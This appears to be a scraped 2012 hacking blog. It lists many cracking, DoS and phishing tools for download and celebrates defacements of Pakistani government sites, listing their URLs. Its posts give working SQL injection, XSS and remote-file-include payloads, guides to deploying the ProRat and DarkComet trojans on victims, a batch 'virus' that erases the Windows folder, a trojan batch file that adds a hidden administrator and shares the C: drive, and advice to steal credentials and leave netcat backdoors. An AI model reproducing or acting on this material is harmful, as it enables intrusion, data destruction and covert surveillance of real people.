Mail Bomb_2.0 YAHOO
MIDNITE massacren
NFO Maker
Nimda
Nkedb
NT Packer
NTS
Null Ass Frontend
P0kes WormGen
Panther
Pkp BB pass extractor
phpBBAttacker
Pqwak2
Proxy Pro
Rainbow crack
Res Hacker
Rocket
RPC
Rpc scan
Sasser
Send Mailer
Show Pass
Site Digger
Smbat- win32bin
SMB Die
SMB Proxy
Sprut
Stealth- HTTP Scanner
Super
TFTPD32
T Hunter
Tina soft KILL
UPD Flood
Ultra Dos
Visa Spam
X Pass
Yahoo Password
Zehir
Addr View
AOL View
App To Service
Astaroth Joiner
Bank Of America
Cable Modem Sniffer
Cap Keys DIGITAL
C Ports
C C Generator
DDL Sites
eBay
E Gold.
E-mail Cracker
Database Defacer
F.B.I. Binder
FTP Brute Forcer
Fuck Mail Bomber
PhpBB_exploit_pack
Google Hacker
Hook Tool Box
Hotmail Email Hacker
Hotmail Hack
HSBC-US
Iecv
IP2
Ip Net Info
Key Chenger
Moore R. Port Scanner
Msn Flooder
Msn Account Cracker
Msn Loader
NET BIOS Scaner
Net bios name scanner
Net Res View
NO limit cracker
On-Off MSN
OS Update Hack
Pay Pal
PC Any Pass
Php Nuke Hacker
phpBB Annihilator
phpbb bruteforcer.
phpBB_DoS
phpBB_spammer
phpBBAttacker
phpBBcracker
php Bug Scan
PHP Fucker
PhpNuke_ bypass
Ping & Nukes
Port Listener
procexp
Pro Mo
phpBB Email harvester
Remote Shut Down
Server 2003 Keygen
Server Killer
Source Checker
Source codes
SQL Scan
Super Scan
Traceroute
UC.Forum Spam
USBank
Win XP Activator
Win XP Corperate Keygen
Who is td
Warez Sites
Win Admin pass Hack
Yahoo Ultra Cracker
Web Cracker
Win Xp Key Changer
Win XP Key Viewer
XP lizer
Window Hide
www Hack
Win XP KeyGen

DOWNLOAD

30 Pakistan government Sites hacked by Indian hackers

2012-01-07T22:57:00.000-08:00

In the month of December more than 150 websites were hacked and defaced by pakistani hacker group “Pak Cyber Combact Squad.” Now indian hackers have started to take some action against that. This time Indian hacker group “IndiShell” has hacked 30 pakistani government websites. They have posted the links on

List of hacked websites:

http://www.privatisation.gov.pk/index.html
http://www.benazir.pk/index.html
http://www.dfp.gov.pk/index.html
http://www.dgto.gov.pk/index.htm
http://www.mofa.gov.pk/index.html
http://www.mopw.gov.pk/index.html
http://www.msa.org.pk/
http://pak.gov.pk/
http://www.niopk.gov.pk/index.html
http://www.paknavy.gov.pk/index.html
http://www.szab.pk/index.html
http://www.pbm.gov.pk/
http://www.pcb.gov.pk/index.html
http://thenucleuspak.org.pk/
http://www.pcret.gov.pk/index.htm
http://www.pcrwr.gov.pk/index.html
http://www.pcsir.gov.pk/index.htm
http://www.pha.gov.pk/index.htm
http://www.pifra.gov.pk/
http://www.pmad.gov.pk/index.html
http://www.pmnh.gov.pk/index.html
http://www.radp.gov.pk/index.htm
http://www.sindh.gov.pk/
http://www.sindhpolice.gov.pk/
http://www.topians.edu.pk/
http://www.usc.com.pk/
http://www.savings.gov.pk/Tender/
http://infopak.gov.pk/
http://www.pasdec.com.pk/index.htm
http://hmc-3.com.pk/default.htm

RAR Password Recovery Magic 6.1.1.378 Full

2012-01-07T22:49:00.000-08:00

RAR Password Recovery Magic is a powerful tool designed to recover lost or forgotten passwords for a RAR/WinRAR archives. RAR Password Recovery Magic supports the customizable brute-force and dictionary-based attacks.RAR Password Recovery Magic has an easy to use interface.
RAR Password Recovery Magic 6.1.1.378.Incl.Serial

DOWNLOAD

Hacking websites. Basic Tutorial for beginners

2012-01-07T12:23:00.001-08:00

Hello guys. I was a bit busy, so after a long time I’ll be posting something new for the beginners in the world of hacking. Today I tell you how to hack websites using common vulnerabilities. Note: I believe you have some basic knowledge of HTML and PHP Intended for educational purpose. Bad intentions, GET LOST!!!!!!!
So lets begin
SQL Injection
SQL injection is the act of injection your own, custom-crafted SQL commands into a web-script so that you can manipulate the database any way you want. Some example usages of SQL injection: Bypass login verification, add new admin account, lift passwords, lift credit-card details, etc.; you can access anything that’s in the database.
Example Vulnerable Code – login.php (PHP/MySQL)
Here’s an example of a vulnerable login code
PHP Code:
php
$user = $_POST['u'];
$pass = $_POST['p'];
if (!isset($user) || !isset($pass)) {
echo(“<form method=post>
“);
} else {
$sql = “SELECT `IP` FROM `users` WHERE `username`=’$user’ AND `password`=’$pass’”;
$ret = mysql_query($sql);
$ret = mysql_fetch_array($ret);
if ($ret[0] != “”) {
echo(“Welcome, $user.”);
} else {
echo(“Incorrect login details.”);
}
}
?>
Basically what this code does, is take the username and password input, and takes the users’s IP from the database in order to check the validity of the username/password combo.
Testing Inputs For Vulnerability
Just throw an “‘” into the inputs, and see if it outputs an error; if so, it’s probably injectable. If it doesn’t display anything, it might be injectable, and if it is, you will be dealing with blind SQL injection which anyone can tell you is no fun. Else, it’s not injectable.
The Example Exploit
Let’s say we know the admin’s username is Administrator and we want into his account. Since the code doesn’t filter our input, we can insert anything we want into the statement, and just let ourselves in. To do this, we would simply put “Administrator” in the username box, and “‘ OR 1=1–” into the password box; the resulting SQL query to be run against the database would be “SELECT `IP` FROM `users` WHERE `username`=’Administrator’ AND `password=” OR 1=1–’”. Because of the “OR 1=1″, it will have the ability to ignore the password requirement, because as we all know, the logic of “OR” only requires one question to result in true for it to succeed, and since 1 always equals 1, it works; the “–” is the ‘comment out’ character for SQL which means it ignores everything after it, otherwise the last “‘” would ruin the syntax, and just cause the query to fail.
XSS (Cross-Site Scripting)
This vulnerability allows for an attacker’s input to be sent to unsuspecting victims. The primary usage for this vulnerability is cookie stealing; if an attacker steals your cookie, they can log into whatever site they stole your cookie from under your account (usually, and assuming you were logged in at the time.)

Example Vulnerable Code – search.php (PHP)
PHP Code:
php
$s = $_GET['search'];
// a real search engine would do some database stuff here
echo(“You searched for $s. There were no results found”);
?>

Testing Inputs For Vulnerability
For this, we test by throwing some HTML into the search engine, such as “<font color=red>XSS</font>”. If the site is vulnerable to XSS, you will see something like this: XSS, else, it’s not vulnerable.
Example Exploit Code (Redirect)
Because we’re mean, we want to redirect the victim to goatse (don’t look that up if you don’t know what it is) by tricking them into clicking on a link pointed to “search.php?search=// “. This will output “You searched for // . There were no results found” (HTML) and assuming the target’s browser supports JS (JavaScript) which all modern browsers do unless the setting is turned off, it will redirect them to abc.
RFI/LFI (Remote/Local File Include)
This vulnerability allows the user to include a remote or local file, and have it parsed and executed on the local server.
Example Vulnerable Code – index.php (PHP)
PHP Code:
<?php
$page = $_GET['p'];
if (isset($page)) {
include($page);
} else {
include(“home.php”);
}
?>
Testing Inputs For Vulnerability
Try visiting “index.php?p=http://www.google.com/”; if you see Google, it is vulnerable to RFI and consequently LFI. If you don’t it’s not vulnerable to RFI, but still may be vulnerable to LFI. Assuming the server is running *nix, try viewing “index.php?p=/etc/passwd”; if you see the passwd file, it’s vulnerable to LFI; else, it’s not vulnerable to RFI or LFI.
Example Exploit
Let’s say the target is vulnerable to RFI and we upload the following PHP code to our server
PHP Code:
<?php
unlink(“index.php”);
system(“echo Hacked > index.php”);
?>
and then we view “index.php?p=http://our.site.com/malicious.php” then our malicious code will be run on their server, and by doing so, their site will simply say ‘Hacked’ now.
Hope you must have a bit from here. Next time I’ll be posting new tutorials and hacks. Keep Reading

Tips to Hack someone easily with ProRat

2012-01-05T10:50:00.000-08:00

PRORAT is a powerfull remote administrator tool(RAT) or you can say it Trojan. ProRat was written in C++ programming language and its capable to work with all windows operating systems.

To make process and connect to a PC with ProRat v2.0 you must create a server with your own properties by using the client. Send the server to the PC' you want to connect and be sure that he opened the server. IP address, port number and server password will be sent to the notification address you set when creating the server. Write all of the information we sent you to the client and then Click on the "Connect" button. You will be connected to the server. if you want to logoff from the server click on the "Disconnect" button.
All kind of user problems with PRORAT you can solve in http://www.prorat.net/forum

You can use prorat for a legel connection and for a hacking purpose.

Tips which can help you when connecting through prorat.
To connect to a PC with ProRaT client the server should not have to be directly connected to internet. so if the PC is behind a network and has a IP address like “192.168.0.* or if its behind a Router and has a IP like “10.*.*.* you will beable to connect with PRORAT, you must be a Special Edition user to do this process. Public Edition users can not use reverse connection to connect to PC 's behind networks and routers. You can only use Reverse Connection feature which you can connect to PC's which are behind networks and routers in PRORAT SPECIAL EDITION.
PRORAT will not send any keylogg files or any passwords to your email address. PRORAT is a "ProHack Remote Administrator Tool" you can only get the keylogg files and passwords you want to learn by connect to the victims PC.
You can connect to all PC in your country and other country’s as well. If the victim is connected to internet this will be enough.
If you cant connect to a victim this doesn’t mean that you cannot connect to all victims. Please try new victims and you will see that it will connect. If you still cant connect to a victim after trying few times read the help file and try to find where you are making a mistake and feel free to ask us questions if you still have problems.
If your or your victims PC is being forced to closing after you started PRORAT server or ProConnective this is not PRORAT fault because some kind of worm virus like msblast can infiltrate to PC which doesn’t have security patches. PRORAT will close the Firewall (optional) and this will give a chance to this kind of worms to infiltrate and close systems. To take measures please read the help file and you will see links to download patch files.
If you try to make PRORAT server undetectable to AntiVirus the PRORAT will not connect to the server. If you want a server which is undetectable from AntiVirus you must buy PRORAT SPECIAL EDITION,
If you didn’t try to change server and you still get a connection reject message, possibly the server wasn’t installed properly to the victims PC.

You can download it from here or mail me
DISCLAIMER: Installing trojan on others computers you do not own or do not have permission to monitor. may violate local, state or federal law.
Spying other people's activities or breaking into other people's computer without their permission can be considered illegal by the courts of many countries. The software reviewed here is ONLY for authorized system administrators and/or owners of computers. We assume no liability and are not responsible for any misuse or damage caused by the software. The end user of this software is obliged to obey all applicable local, state, federal and other laws in his country of residence. Every tutorial is for educational purpose only.

DOWNLOAD

DarkComet RAT

2012-01-05T10:08:00.000-08:00

1.Many people think that DarkComet is best RAT client and they don't prefer any other RAT client than DarkComet.(not my personal view)

2.Few days ago we covered Denial Of Service and Types Of DoS Attacks soon we will cover tools that can be used for DoS attack and DarkComet is one of those tools that can be used for launching a successful DDoS attack.

3.Search engines are dropping visitors searching for Dark Comet tutorial on Cerberus tutorial, not good na, better give them what they are searching for.

4.Its always better if you know how to handle more than one tool.

Enough talk lets move on to tutorial. Download DarkComet RAT 2.2 from their official website. You might ask why 2.2 when 3.2 is available. 3.2 is unstable and needs some bug fixes better opt 2.2. After download extract zip file and double click on RAT client, accept EULA and you will be presented with following screen.

Main Window

Now click on edit server.

Server Editor

Server Session:

If you have already created any RAT server before then Darkcomet stores an INI file with all settings saved in it. So if you want to create another server with same settings open that file here and create server.

Main Settings

Mutex String:

Our RAT client will run in process space of another process to remain stealthy. This string helps differentiate RAT that some another process is holding our data for hiding. Must be specified for proper functioning of RAT client, you can give it any name you want or just press random to get random name.

Server ID:

This name will appear on server list when your victim will execute your server. Helps in differentiating different servers so better use new name for new server.

Lastly always preserve connection with good user-name and password

Connection Settings

Specify your IP address in IP address field if you have static IP or use Dynamic DNS if your IP address is not static. To know more about Dynamic DNS IP read Use Dynamic IP As Static IP. Now specify port number you want to listen and press “Add This Range In IP/port list”. For testing purpose you can use 127.0.0.1 that is loop back IP and port 8080 I.e http proxy port.

Make virus in just one minute

2012-01-04T03:05:00.001-08:00

Plx Reply and show your feed back
Here is a simple and easy trick to make a virus in less than 1 minute. :)

CAUTION: DO NOT RUN THE PROGRAM ON YOUR COMPUTER OR YOU WILL LOSE YOUR WINDOWS.

HERE'S THE To Make the virus:

1.Go to notepad,
2. Type erase C:\WINDOWS,
3. Save IT AS SOMETHING.cmd ,
4. Send to victim, once the victim opens it, the map WINDOWS will be gone and have to install WINDOWS again...

How does this works?
The working of this virus is very simple,Once the victim runs the .cmd file on his computer,This virus will just erase the windows file causing the computer to crash.

Take care it is a simple but powerful virus

facebook hack(fool ur friend)

2012-01-04T03:04:00.000-08:00

heard from many of my friends that a virus is spreading on facebook which delete our accounts,I first thought it could have been a trojan that spread out,Then i found out that its just simple prank to shutdown your pc,Now today i will show you how to make a facebook virus to trick your friends
In this tutorial I will show you how to make a Facebook virus using simple commands on notepad. .This will make the victim think they have got a virus when they click on an icon such as Internet Explorer .
Making a fake facebook virus!

1) Open notepad
2) Type this in :

@echo off
msg * WARNING VIRUS DETECTED!!!!! AFTER 5 MINUTES YOUR FACEBOOK ACCOUNT WILL BE DELETED !!!!TO REMOVE THE VIRUS CLICK OK OR CLOSE THIS BOX!
PAUSE
shutdown -r -t 300 -c " SORRY!!! YOUR FACEBOOK ACCOUNT ARE NOW BEING DELETED !!! PLEASE WAIT ..........."

3) Save it as something.bat
4)Right click on Internet Explorer .bat and click Create Shortcut
5)Right click on shorcut and click Properties.
6) Click Change Icon
7.Choose Internet Explorer icon or similar , click OK , then click Apply

Now your facebook virus is almost ready

8).Delete real shortcut and replace it with fake . When victim click on it , he will get warning messages that looks like this:

Remote password hacking software - sniperspy

2012-01-04T03:01:00.000-08:00

Are you looking for the Best Remote password hacking software? Do you need to spy on your remote computer without the need for physical access? But wait! Before you go for any remote spy software you should read our shocking reviews!

1. Sniper Spy (Remote Install Supported)

SniperSpy is the industry leading Remote password hacking software combined with the Remote Install and Remote Viewing feature.
Once installed on the remote PC(s) you wish, you only need to login to your own personal SniperSpy account to view activity logs of the remote PC’s! This means that you can view logs of the remote PC’s from anywhere in the world as long as you have internet access!
Do you want to Spy on a Remote PC? Expose the truth behind the lies! Unlike the rest, SniperSpy allows you to remotely spy any PC like a television! Watch what happens on the screen LIVE! The only remote PC spy software with a SECURE control panel!
This Remote PC Spy software also saves screenshots along with text logs of chats, websites, keystrokes in any language and more. Remotely view everything your child, employee or anyone does while they use your distant PC. Includes LIVE admin and control commands!

SniperSpy Features:
1. SniperSpy is remotely-deployable spy software
2. Invisibility Stealth Mode Option. Works in complete stealth mode. Undetectable!
3. Logs All Keystrokes

4. Records any Password (Email, Login, Instant Messenger etc.)

5. Remote Monitor Entire IM Conversations so that you can spy on IM activities too
6. Captures a full-size jpg picture of the active window however often you wish
7. Real Time Screen Viewer
8. Remotely reboot or shutdown the PC or choose to logoff the current Windows user
9. Completely Bypasses any Firewall

What if i dont have physical acess to victims computer?
No physical access to your remote PC is needed to install the spy software. Once installed you can view the screen LIVE and browse the file system from anywhere anytime. You can also view chats, websites, keystrokes in any language and more, with screenshots.

This software remotely installs to your computer through email. Unlike the other remote spy titles on the market, SniperSpy is fully and completely compatible with any firewall including Windows XP, Windows Vista and add-on firewalls.

The program then records user activities and sends the data to your online account. You login to your account SECURELY to view logs using your own password-protected login. You can access the LIVE control panel within your secure online account.

Why would I need SniperSpy?

Do you suspect that your child or employee is inappropriately using your unreachable computer? If yes, then this software is ideal for you. If you can't get to your computer and are worried about the Internet safety or habits of those using it, then you NEED SniperSpy.

This high-tech spy software will allow you to see exactly what your teenager is doing in MySpace and elsewhere in real time. It will also allow you to monitor any employee who uses the company computer(s).

Trojan

2012-01-04T02:48:00.000-08:00

A Trojan, sometimes referred to as a Trojan horse, is non-self-replicating malware that appears to perform a desirable function for the user but instead facilitates unauthorized access to the user's computer system.
In this post i will tell you How to create your own trojan horse in a .bat file,Helping you to hack into another persons computer.I had previously posted a tutorial on How to sent a trojan as a txt file but this post will explain you creating a Trojan in a .bat file to infect a Remote computer.

Creating a Trojan in a .bat file - Procdure

dir
pause

And now save this as test.bat and execute it.

---------------------- Starting -------------------
-:Server:-
The plan here is to share the C: drive and make a new user
with administrators access

Step one -> Open a dos prompt and a notebook
The dos prompt will help you to test if the commands are ok
and the notebook will be used to make the .bat file.

Command n 1-> net user neo /add
What does this do? It makes a new user called neo you can put
any name you whant

Command n 2-> net localgroup administrators neo /add
This is the command that make your user go to the administrators
group.

Depending on the windows version the name will be different.

If you got an american version the name for the group is Administrators
and for the portuguese version is administradores so it's nice
yo know which version of windows xp you are going to try share.

Command n 3->net share system=C:\ /unlimited
This commands share the C: drive with the name of system.

Nice and those are the 3 commands that you will need to put on your
.bat file and send to your friend.

-!extras!-
Command n 4-> net send urip I am ur server
Where it says urip you will insert your ip and when the victim
opens the .bat it will send a message to your computer
and you can check the victim ip.

->To see your ip in the dos prompt put this command: ipconfig

-----------------------: Client :----------------
Now that your friend opened your .bat file her system have the
C: drive shared and a new administrator user.
First we need to make a session with the remote computer with
the net use command , you will execute these commands from your
dos prompt.

Command n 1 -> net use \\victimip neo
This command will make a session between you and the victim
Of course where it says victimip you will insert the victim ip.
Command n 2-> explorer \\victimip\system
And this will open a explorer windows in the share system wich is
the C: drive with administrators acces

2012-01-04T02:46:00.000-08:00

Learn Hacking in 5 easy steps

First of all I wanna tell you that hacking is a art. I am teaching you this art so that you can make yourself more secure. I don't want you to use my techniques to harm others because hackers never harm others, crackers do. And we are Hackers not cracker.

There are 5 easy steps to learn Hacking :-

1. Take all safety Measures to hide yourself from target.

There are lots of techniques to hide yourself from target computer. I recommend you to use as much techniques as you can.

I am mentioning few important tricks below :-

Use Hide Ip Software :- This software will help you to hide your IP address.
Use Firewall :- Firewall secure your computer as well as restrict any personal information from going outside.
Use Proxy servers :- Whenever you want to surf the computer of your target use proxy servers.
Use others username and password :- Try to avoid using your own user name and password for internet connection. Learn the technique to get other's user name and password.

2. Find out the IP Address of Target Computer.

what is Ip address :- It's full form is Internet Protocol Address. Protocol means the way computer talks to each other and Internet protocol means , way in which two computer talks to each on internet. So the complete meaning of Ip address is address of a computer who wants to talk to other computers on internet.

There are two important things about ip address :-

it is unique for every computer.
it is needed every time we connect to internet.

Use of IP address in Hacking :- Ip address is one of the most important part of hacking. To learn its importance in hacking first of all we need to know what is hacking. All i can say here is that if we don't know the ip address of target computer we can't able to move single step forward in getting access to target computer.
Ways to find out IP address :-

3.Gather information about target computer such as its operating system ,time,date etc etc .

What 's the need ?

To be able to know weaknesses of target computer.
To exploit those weakness.
Learn more how we can exploit it.

How to gather information?

4.Use Search engine (according to information obtained from above steps) to get tools which will help us to hack target computer.

Search engines like google are very close friends of hackers. If we do all the things mentioned above we know exactly where vulnerability lies in target computer. To use that vulnerability we search for available tools on google.com. After downloading specific tools we need IP Address of target computer ( we already know) to get access on other computer.

Learn to use that vulnerability

5. Leave one or two files on the target computer so to get easy access in future.
To get access again and again hackers usually leave files on target computer. For eg Net cat which allow them to get access again and again. Download netcat

hack windows administrator password using erd commander

2011-12-22T09:02:00.000-08:00

Follow steps 1-7 in that article to create a ERD Commander Boot CD.

1. insert the ERD Commander Boot CD into the drive and restart the system

2. Boot the computer using ERD Commander Boot CD. You may have to set the boot order in the BIOS first.

3. Select your Windows XP installation from the list

4. From the ERD Commander menu (Start menu), click System Tools and click Locksmith

5. Click Next

6. Select the administrator account from the list for which you want to reset the password.

7. Type the new password in both the boxes, click Next and click Finish

click to download ERD COMMANDER